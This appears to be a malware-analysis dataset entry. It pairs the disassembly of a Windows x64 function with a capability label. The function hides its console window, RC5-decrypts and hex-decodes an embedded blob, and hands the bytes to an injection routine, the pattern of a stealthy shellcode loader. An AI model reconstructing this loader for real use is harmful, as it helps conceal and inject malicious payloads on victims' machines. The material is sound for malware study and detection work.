Function at 0x1400029fe
Capabilities:
Hide graphical window

Disassembly:
push rbp
push rbx
sub rsp, 0x108
lea rbp, [rsp + 0x80]
call dbg.__main
mov rax, qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
call rax
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.USER32.dll_ShowWindow]
call rax
call sym.Enc__
mov qword [rbp + 0x78], rax
lea rax, [rbp + 0x3e]
mov qword [rbp + 0x60], rax
nop
nop
lea rcx, [rbp + 0x3e]
mov rdx, qword [rbp + 0x78]
lea rax, [rbp + 0x10]
mov r8, rcx
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_std.allocator_char____char_const__std::allocator_char__const_
lea rax, [rbp + 0x3e]
mov rcx, rax
call method.std::__new_allocator_char_.__new_allocator__
nop
lea rax, [rbp - 0x10]
lea rdx, [rbp + 0x10]
mov rcx, rax
call sym.RC5Decrypt_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const_
lea rax, [rbp - 0x30]
lea rdx, [rbp - 0x10]
mov rcx, rax
call sym.decodeHexToBytes_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const_
lea rax, [rbp - 0x50]
mov rcx, rax
call fcn.140005930
lea rax, [rbp - 0x30]
mov qword [rbp + 0x70], rax
mov rax, qword [rbp + 0x70]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::begin__
mov qword [rbp - 0x58], rax
mov rax, qword [rbp + 0x70]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::end__
mov qword [rbp - 0x60], rax
jmp 0x140002af0
lea rax, [rbp - 0x58]
mov rcx, rax
call method.__gnu_cxx::__normal_iterator_char__std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____.operator___const
movzx eax, byte [rax]
mov byte [rbp + 0x6f], al
movzx eax, byte [rbp + 0x6f]
mov byte [rbp + 0x3f], al
lea rdx, [rbp + 0x3f]
lea rax, [rbp - 0x50]
mov rcx, rax
call method.std::vector_unsigned_char__std::allocator_unsigned_char___.push_back_unsigned_char_
lea rax, [rbp - 0x58]
mov rcx, rax
call method.__gnu_cxx::__normal_iterator_char__std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____.operator__
lea rdx, [rbp - 0x60]
lea rax, [rbp - 0x58]
mov rcx, rax
call method.bool___gnu_cxx::operator__char__std::__cxx11::basic_string_char__std::char_traits_char___std.allocator_char________gnu_cxx::__normal_iterator_char__std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char______const____gnu_c
test al, al
jne 0x140002abb
lea rdx, [rbp - 0x50]
lea rax, [rbp + 0x40]
mov rcx, rax
call method.std::vector_unsigned_char__std::allocator_unsigned_char___.vector_std::vector_unsigned_char__std::allocator_unsigned_char____const_
lea rax, [rbp + 0x40]
mov rcx, rax
call sym.Inj_std::vector_unsigned_char__std::allocator_unsigned_char____
lea rax, [rbp + 0x40]
mov rcx, rax
call method.std::vector_unsigned_char__std::allocator_unsigned_char___.vector__
lea rax, [rbp - 0x50]
mov rcx, rax
call method.std::vector_unsigned_char__std::allocator_unsigned_char___.vector__
lea rax, [rbp - 0x30]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp - 0x10]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x10]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
mov eax, 0
jmp 0x140002bd7
add rsp, 0x108
pop rbx
pop rbp
ret